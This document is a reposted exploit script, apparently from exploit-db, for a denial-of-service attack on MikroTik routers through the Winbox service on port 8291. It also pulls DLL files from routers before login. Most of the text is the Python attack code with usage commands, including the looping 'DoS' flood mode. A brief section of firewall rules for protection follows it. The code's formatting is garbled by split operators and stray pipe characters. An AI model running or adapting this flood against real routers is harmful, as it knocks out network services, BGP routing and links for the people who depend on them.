Script Python : from http://www.133tsec.com/2012/04/30/0day-ddos-mikrotik-server-side-ddos-attack/
http://www.exploit-db.com/exploits/18817/
#!/usr/bin/python
# Exploit Title: Mikrotik Router Remote Denial Of Service attack |
# Date: 19/4/2012 |
# Author: PoURaN @ 133tsec.com |
# Software Link: http://www.mikrotik.com |
# Version: All mikrotik routers with winbox service enabled are affected (still a 0day 30/5/2012) |
# Tested on: Mikrotis RouterOS 2.9.6 up to 5.15 |
# |
# Vulnerability Description |
# =========================== |
# DETAILS & PoC VIDEO : http://www.133tsec.com/2012/04/30/0day-ddos-mikrotik-server-side-ddos-attack/ |
# The denial of service, happens on mikrotik router's winbox service when |
# the attacker is requesting continuesly a part of a .dll/plugin file, so the service |
# becomes unstable causing every remote clients (with winbox) to disconnect |
# and denies to accept any further connections. That happens for about 5 minutes. After |
# the 5 minutes, winbox is stable again, being able to accept new connections. |
# If you send the malicious packet in a loop (requesting part of a file right after |
# the service becoming available again) then you result in a 100% denial of winbox service. |
# While the winbox service is unstable and in a denial to serve state, it raises router's CPU 100% |
# and other actions. The "other actions" depends on the router version and on the hardware. |
# For example on Mikrotik Router v3.30 there was a LAN corruption, BGP fail, whole router failure |
# => Mikrotik Router v2.9.6 there was a BGP failure |
# => Mikrotik Router v4.13 unstable wifi links |
# => Mikrotik Router v5.14/5.15 rarely stacking |
#
=>>> Behaviour may vary most times, but ALL will have CPU 100%
. Most routers loose BGP after long time attack <<<= |
# |
# |
# The exploit |
# ============= |
# This is a vulnerability in winbox service, exploiting the fact that winbox lets you download files/plugins |
# that winbox client needs to control the server, and generally lets you gain basic infos about the service BEFORE |
# user login! |
# Sending requests specially crafted for the winbox service, can cause a 100% denial of winbox service (router side). |
# This script, offers you the possibility to download any of the dlls that can be downloaded from the router one-by-one |
# or alltogether! (look usage for more info) .. The file must be contained in the router's dll index. |
# The dlls downloaded, are in the format of the winbox service.. Meaning that they are compressed with gzip and they |
# have 0xFFFF bytes every 0x101 bytes (the format that winbox client is expecting the files) |
# These DLLs can be used by the "Winbox remote code execution" exploit script ;) |
# |
# Usage |
# ======= |
# Use the script as described below: |
# 1. You can download ALL the files of the router's dll index using the following command: |
# python mkDl.py 10.0.0.1 * 1 |
# the "1" in the end, is the speed.. "Speed" is a factor I added, so the script delays a bit while receiving |
# information from the server. It is a MUST for remote routers when they are in long distance (many hops) to use |
# a slower speed ( 9 for example ). |
# Also in the beginning of the dlls file list, script shows you the router's version (provided by router's index) |
# 2. You can download a specific .dll file from the remote router. |
# python mkDl.py 10.67.162.1 roteros.dll 1 |
# In this example i download roteros.dll (which is the biggest and main plugin) with a speed factor of 1 (very fast) |
# Because roteros and 1-2 other files are big, you have to request them in different part (parts of 64k each) |
# That is a restriction of winbox communication protocol. |
# If you don't know which file to request, make a "*" request first (1st usage example), see the dlls list, and press ctrl-c |
# to stop the script. |
# 3. You can cause a Denial Of Service to the remote router.. Means denial in winbox service or more (read above for more) |
# python mkDl.py 10.67.162.1 DoS |
# This command starts requesting from router's winbox service the 1st part of roteros.dll looping the request |
# and causing DoS to the router. The script is requesting the file till the router stops responding to the port (8291) |
# Then it waits till the service is up again (using some exception handling), then it requests again till the remote |
# service is down again etc etc... The requests lasts for about 2 seconds, and the router is not responding for about |
# 5 minutes as far as i have seen from my tests in different routeros versions. |
# |
# <> Greetz to mbarb, dennis, andreas, awmn and all mighty researchers out there! keep walking guys <> |
# |
import socket, sys, os, struct, random, time |
def InitConnection(mikrotikIP, speed): |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
s.connect((mikrotikIP, 8291 )) |
s.send(winboxStartingIndex) |
data = s.recv( 1024 ) # receiving dll index from server |
time.sleep( 0.001 * speed) |
if data.find( "\xFF\x02" + "index" + "\x00" ) > - 1 : |
print "[+] Index received!" |
else : |
print "[+] Wrong index.. Exiting.." |
sys.exit( 0 ) |
return s |
def download(filename, speed, s): |
f = open (filename, 'wb' ) |
if len (filename) < 13 and len (filename) > 6 : |
print "[+] Requesting file " , filename, ' <->' |
winboxStartingFileReq = RequestHeader + filename.ljust( 12 , '\x00' ) + RequestFirstFooter |
s.send(winboxStartingFileReq) |
time.sleep( 0.001 * speed) |
dataReceived = s.recv( 1 ) |
if dataReceived[ 0 : 1 ] = = '\xFF' : |
print "[+] Receiving the file..." |
f.write(dataReceived) # written 1st byte |
time.sleep( 0.001 * speed) |
dataReceived = s.recv( 0x101 ) # 0x100 + 1 |
nextPartFingerprint = struct.unpack( '>H' , dataReceived[ 14 : 16 ])[ 0 ] |
if dataReceived[ 0 : 1 ] = = '\x02' : |
time.sleep( 0.001 * speed) |
f.write(dataReceived) # written 1st chunk 0x102 bytes with header in file. |
dataReceived = s.recv( 0x102 ) # 1st sequence of (0xFF 0xFF) |
bytesToRead = int (dataReceived[ len (dataReceived) - 2 ].encode( 'hex' ), 16 ) + 2 |
f.write(dataReceived) # write the next 0x102 bytes (total 0x102+0x102 in file) |
else : |
print "[-] Wrong data received..(2)" |
sys.exit( 0 ) |
else : |
print "[-] Wrong data received..(1)" |
sys.exit( 0 ) |
|
finalPart = 0 |
bigFileCounter = 0xFFED |
packetsCounted = 0 # counter for the 0x101 packet counts. Every time a file is requested this counter is 0 |
fileRequested = 0 # every time a file needs to be requested more than 1 time, this is it's counter. |
while 1 : # header of file done.. Now LOOP the body.. |
packetsCounted + = 1 # dbg |
time.sleep( 0.001 * speed) |
dataReceived = s.recv(bytesToRead) |
f.write(dataReceived) |
if (bytesToRead <> len (dataReceived)) and packetsCounted = = 255 : # an den diavazei osa bytesToRead prepei, simainei oti eftase sto telos i lipsi tou part pou katevazoume |
packetsCounted = - 1 |
print '[+] Next file part : ' , fileRequested |
s.send(RequestHeader + filename.ljust( 12 , '\x00' ) + '\xFF\xED\x00' + struct.pack( '=b' ,fileRequested) + struct.pack( '>h' ,bigFileCounter)) |
time.sleep( 0.001 * speed) |
dataReceived = s.recv( 0x101 + 2 ) # Reads the new header of the new part!!! |
nextPartFingerprint = struct.unpack( '>H' , dataReceived[ 14 : 16 ])[ 0 ] |
f.write(dataReceived) |
bytesToRead = int (dataReceived[ len (dataReceived) - 2 ].encode( 'hex' ), 16 ) |
fileRequested + = 1 |
bigFileCounter - = 0x13 |
bytesToRead = int (dataReceived[ len (dataReceived) - 2 ].encode( 'hex' ), 16 ) # den prostheto 2 tora giati to teleutaio den einai ff.. einai akrivos to size pou paramenei.. |
if bytesToRead = = 0xFF : # kalipto tin periptosi opou to teleutaio struct den einai ff alla exei to size pou apomenei |
bytesToRead + = 2 |
if bytesToRead ! = 0x101 and nextPartFingerprint < 65517 : # dikaiologountai ta liga bytes otan teleiose ena apo ta parts tou file |
time.sleep( 0.001 * speed) |
dataReceived = s.recv(bytesToRead) |
f.write(dataReceived) |
break |
if bytesToRead ! = 0x101 and nextPartFingerprint = = 65517 : # ligotera bytes KAI fingerprint 65517 simainei corrupted file.. |
print '[-] File download terminated abnormaly.. please try again probably with a slower speed..' |
sys.exit( 0 ) |
if fileRequested < 1 : print '[+] File was small and was downloaded in one part\n[+] Downloaded successfully' |
else : print '[+] File ' + filename + ' downloaded successfully' |
f.close() |
s.close() |
|
def Flood(s): |
filename = 'roteros.dll' |
f = 'we\'r not gonna use I/O to store the data' |
print "[+] Requesting file " , filename, ' till death :)' |
time.sleep( 1 ) |
winboxStartingFileReq = RequestHeader + filename.ljust( 12 , '\x00' ) + RequestFirstFooter |
s.send(winboxStartingFileReq) |
time.sleep( 0.001 ) |
dataReceived = s.recv( 1 ) |
if dataReceived[ 0 : 1 ] = = '\xFF' : |
f = dataReceived # written 1st byte |
time.sleep( 0.001 ) |
dataReceived = s.recv( 0x101 ) # 0x100 + 1 |
nextPartFingerprint = struct.unpack( '>H' , dataReceived[ 14 : 16 ])[ 0 ] |
if dataReceived[ 0 : 1 ] = = '\x02' : |
time.sleep( 0.001 ) |
f = dataReceived # written 1st chunk 0x102 bytes with header in file. |
dataReceived = s.recv( 0x102 ) # 1st sequence of (0xFF 0xFF) |
bytesToRead = int (dataReceived[ len (dataReceived) - 2 ].encode( 'hex' ), 16 ) + 2 |
f = dataReceived # write the next 0x102 bytes (total 0x102+0x102 in file) |
else : |
print "[-] Wrong data received..(2)" |
sys.exit( 0 ) |
else : |
print "[-] Wrong data received..(1)" |
sys.exit( 0 ) |
|
finalPart = 0 |
bigFileCounter = 0xFFED |
packetsCounted = 0 # counter for the 0x101 packet counts. Every time a file is requested this counter is 0 |
fileRequested = 0 # every time a file needs to be requested more than 1 time, this is it's counter. |
try : |
while 1 : |
s.send(RequestHeader + filename.ljust( 12 , '\x00' ) + '\xFF\xED\x00' + struct.pack( '=b' ,fileRequested) + struct.pack( '>h' ,bigFileCounter)) |
s.recv( 1 ) |
print '- Sending evil packet.. press CTRL-C to stop -' |
except : |
print 'Connection reseted by server.. trying attacking again' |
############################################################################################################### |
########################################### SCRIPT BODY STARTS HERE ########################################### |
global RequestHeader |
RequestHeader = ( '\x12\x02' ) |
global RequestFirstFooter |
RequestFirstFooter = ( '\xFF\xED\x00\x00\x00\x00' ) |
global winboxStartingIndex |
winboxStartingIndex = (RequestHeader + 'index' + '\x00' * 7 + RequestFirstFooter) |
winboxStartingFileReq = (RequestHeader + '\x00' * 12 + RequestFirstFooter) |
print '\n[Winbox plugin downloader]\n\n' |
if len (sys.argv) = = 3 : |
if sys.argv[ 2 ] = = 'DoS' : # if i combine both checks in 1st if, there will be error.. guess why.. ;) |
print '[+] Hmmm we gonna attack it..' |
time.sleep( 1 ) |
speed = 1 |
mikrotikIP = sys.argv[ 1 ] |
filename = sys.argv[ 2 ] |
while 1 : |
time.sleep( 1 ) |
try : |
s = InitConnection(mikrotikIP, speed) |
Flood(s) |
except : |
time.sleep( 1 ) |
if len (sys.argv)<> 4 : |
print 'Usage : ' + sys.argv[ 0 ] + '
|
sys.exit( 0 ) |
mikrotikIP = sys.argv[ 1 ] |
filename = sys.argv[ 2 ] |
speed = int (sys.argv[ 3 ]) |
if speed> 9 or speed< 1 : |
print 'Speed must be between 1 and 9 else there are unexpected results!' |
sys.exit( 0 ) |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
s.connect((mikrotikIP, 8291 )) |
s.send(winboxStartingIndex) |
data = s.recv( 1024 ) # receiving dll index from server |
s.close() |
if filename.find( '*' ) > - 1 : |
DllList = data.split( '\x0a' ) |
print 'Mikrotik\'s version is ' + DllList[ 1 ].split( ' ' )[ 3 ] + '\nThe following Dlls gonna be requested :' |
for i in range ( 0 , len (DllList) - 1 ): |
print DllList[i].split( ' ' )[ 2 ] |
raw_input ( '> Press enter to continue <' ) |
for extractedDlls in range ( 0 , len (DllList) - 1 ): |
print "[+] Requesting " , DllList[extractedDlls].split( ' ' )[ 2 ] |
filename = DllList[extractedDlls].split( ' ' )[ 2 ] |
s = InitConnection(mikrotikIP, speed) |
download(filename, speed, s) |
else : |
s = InitConnection(mikrotikIP, speed) |
download(filename, speed, s)
---------
howto used: #
python mikrotikdos.py
------
How to protected :
1. change port 8921 (winbox) to others port (ex: 8999)
2. make script protected firewall, ex:
add action=add-src-to-address-list address-list=DDOS address-list-timeout=15s \
chain=input disabled=no dst-port=1337 protocol=tcp
add action=add-src-to-address-list address-list=DDOS address-list-timeout=15m \
chain=input disabled=no dst-port=7331 protocol=tcp src-address-list=knock
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”Port scanners to list ” \
disabled=no protocol=tcp psd=21,3s,3,1
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”SYN/FIN scan” disabled=no \
protocol=tcp tcp-flags=fin,syn
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”SYN/RST scan” disabled=no \
protocol=tcp tcp-flags=syn,rst
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”FIN/PSH/URG scan” disabled=\
no protocol=tcp tcp-flags=fin,psh,urg,!syn,!rst,!ack
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”ALL/ALL scan” disabled=no \
protocol=tcp tcp-flags=fin,syn,rst,psh,ack,urg
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”NMAP NULL scan” disabled=no \
protocol=tcp tcp-flags=!fin,!syn,!rst,!psh,!ack,!urg